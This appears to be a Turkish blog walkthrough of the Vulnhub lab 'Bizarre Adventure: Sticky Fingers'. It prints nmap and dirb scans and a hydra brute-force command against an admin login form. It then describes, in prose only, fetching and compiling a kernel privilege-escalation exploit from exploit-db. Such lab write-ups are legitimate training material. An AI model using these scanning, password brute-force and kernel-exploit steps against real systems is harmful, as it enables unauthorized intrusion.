Bizarre Adventure: Sitcky Fingers

 

Bizarre Adventure: Sitcky Fingers Makine Çözümü

Vulnhub Bizarre Adventure: Sticky Fingers makine çözümü.

Önce makineyi kurulumunu yapın, her hangi bir sorun yaşamadığınızdan emin olun.

Bilgi Toplama

Bilgi toplamaya geçmeden önce makinenin IP adresini bulmalısınız. IP adresini bulmak için çeşitli yöntemler var ben nmap ile pingleyerek buldum, bu kısmı yazıya koymayacağım.

Öncelikle nmap ile makineyi tarıyoruz:

$ nmap -sV -p- 192.168.0.105
Sonuçlar;
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-02 15:11 +03
Nmap scan report for 192.168.0.105
Host is up (0.00097s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)
53/tcp   open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
5355/tcp open  llmnr?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 141.90 seconds
Bu çıktıya göre makinede görünen 4 adet açık port var (80HTTP, 22SSH, 53DOMAİN ve 5355LMNR).

HTTP – Web Sayfasının İncelenmesi

Makinenin 80.portuna bağlandığımızda bizi bir sayfa karşılıyor.


Hiç vakit kaybetmeden sayfayı tersyüz edelim.


İşimize yarayacak herhangi bir bilgi yok gibi. Buradan sonra dirb veya nikto ile site üzerinde sayfa taramasına başlayabiliriz. Bu işlem için ben dirb aracını tercih ettim.
$ dirb http://192.168.0.105/
-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Oct  2 15:30:15 2020
URL_BASE: http://192.168.0.105/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.0.105/ ----
==> DIRECTORY: http://192.168.0.105/admin/                                                              
==> DIRECTORY: http://192.168.0.105/css/                                                                
==> DIRECTORY: http://192.168.0.105/fonts/                                                              
==> DIRECTORY: http://192.168.0.105/images/                                                             
+ http://192.168.0.105/index.html (CODE:200|SIZE:12685)                                                 
==> DIRECTORY: http://192.168.0.105/js/                                                                 
+ http://192.168.0.105/server-status (CODE:403|SIZE:278)                                                
==> DIRECTORY: http://192.168.0.105/vendor/                                                             
                                                                                                        
---- Entering directory: http://192.168.0.105/admin/ ----
+ http://192.168.0.105/admin/index.php (CODE:200|SIZE:2643)                                             
                                                                                                        
---- Entering directory: http://192.168.0.105/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                        
---- Entering directory: http://192.168.0.105/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                        
---- Entering directory: http://192.168.0.105/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                        
---- Entering directory: http://192.168.0.105/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                        
---- Entering directory: http://192.168.0.105/vendor/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Fri Oct  2 15:30:21 2020
DOWNLOADED: 9224 - FOUND: 3
Dirb tarama sonucunda ise dikkati ilk çeken admin paneli oldu. Hiç vakit kaybetmeden paneli açarak tersyüz edelim ve oda ne sayfanın sonunda bize bir ipucu bırakılmış.



Dirb tarama sonucuna geri dönelim ve images bağlantısını açalım ve sonuç olarak resim dosyalarının arasında dikkat çeken bir dosya Flag.txt.txt. Hiç vakit kaybetmeden inceleyelim.


Flag.txt.txt sayfasını biraz incelediğimiz zaman ise dikkat çeken bir metin ile karşılaşıyoruz ve sayfadan iki adet kullanıcı adı olduklarını tahmin ettiğim isme rastlıyorum Zipperman ve Bucciarati.

Saldırı

Bu aşamada aklıma ilk gelen bulunan kullanıcı adları ile ssh saldırmak oldu ancak başarısız oldu. İkinci olarak geriye sadece admin paneli kaldı ve bu alana hydra ile bir saldırı başlatalım.
$ sudo hydra -l Zipperman -P /home/saykq/Downloads/rockyou.txt 192.168.0.105 http-post-form "/admin/index.php:username=Zipperman&pass=^PASS^:Login Failed" -t 55

Yukarıdaki kodu çalıştırarak saldırıyı başlatalım.


İki saat süren bir saldırıdan sonra parola kırıldı. kullanıcı adı: Zipperman Parola: Password@123 ile admin panelden login oluyoruz ve bize bir adet şifreli bir metin bırakılmış şimdi bunu çözmeye çalışalım.

İlk olarak Base64 Decode adlı siteyi deniyorum ve AUTO-DETECT olarak ayarlıyorum. Sonuç olarak bir şifreli metin daha buluyoruz.


Bulunan şifreli metin için aynı işlemi uyguluyorum ama sonuç alamıyorum bunun yerine şifreli metinin hangi metod ile şifrelendiğine bakıyorum bunun için ise hash-identifier kulanıyoruz.
$ hash-identifier 80e41304071cbf5856536e390f3c77f445a48ec01774077b8c683e309c531329
Ve sonuç olarak SHA-256 olduğunu buluyoruz.
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------

Possible Hashs:
[+] SHA-256
[+] Haval-256
Google' da küçük bir aram ile decoder sitesi buluyorum ve deniyorum sonuç olarak evet bir şifremiz daha oluyor.

Evet artık ikinci bulduğumuz kullanıcı Bucciarati  ve şifresi ise 1Password1*  bu kombinasyon ile ssh  deneyelim ama yine bir sorun ile karşılaşıyoruz ssh şifresiz bir bağlantı kabul ediyor yani saldırgan ssh-keygen ile key oluşturmalı. Bunu google ile küçük bir arama yaparak çözebilirsiniz.  SSH-KEYGEN kulanımı. Artık ssh ile Bucciarati  olarak oturum açtık.
$ ssh bucciarati@192.168.0.105
 

Yetki Yükseltme

Ssh ile makineye bağlandıktan sonra yetki yükseltmek için kernel hakkında bilgi toplamaya başladım.
$ uname -a
Linux stickyfingers 4.10.0-19-generic #21-Ubuntu SMP Thu Apr 6 17:04:57 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Kernel hakkında kısa bir privilege escalatin exploit araştırması yaptım ve exploit-db‘de ihtiyacım olan kodu buldum. Bundan sonra yapılan işlemler gayet basit.

Sırasıyla:

  • tmp konumuna git
  • wget ile exploiti al
  • gcc ile derle
  • derlenmiş programı çalıştır

Makine’nin Çözülmesi

 Yetkiyi yükselttikten sonra root dizinine giderek flag’i alabilirsiniz.


Yorumlar

Bu blogdaki popüler yayınlar

Maltego Nedir? Nasıl Kullanılır?

Wireshark ile SSH Analizi

Bind Shell ve Reverse Shell Nedir?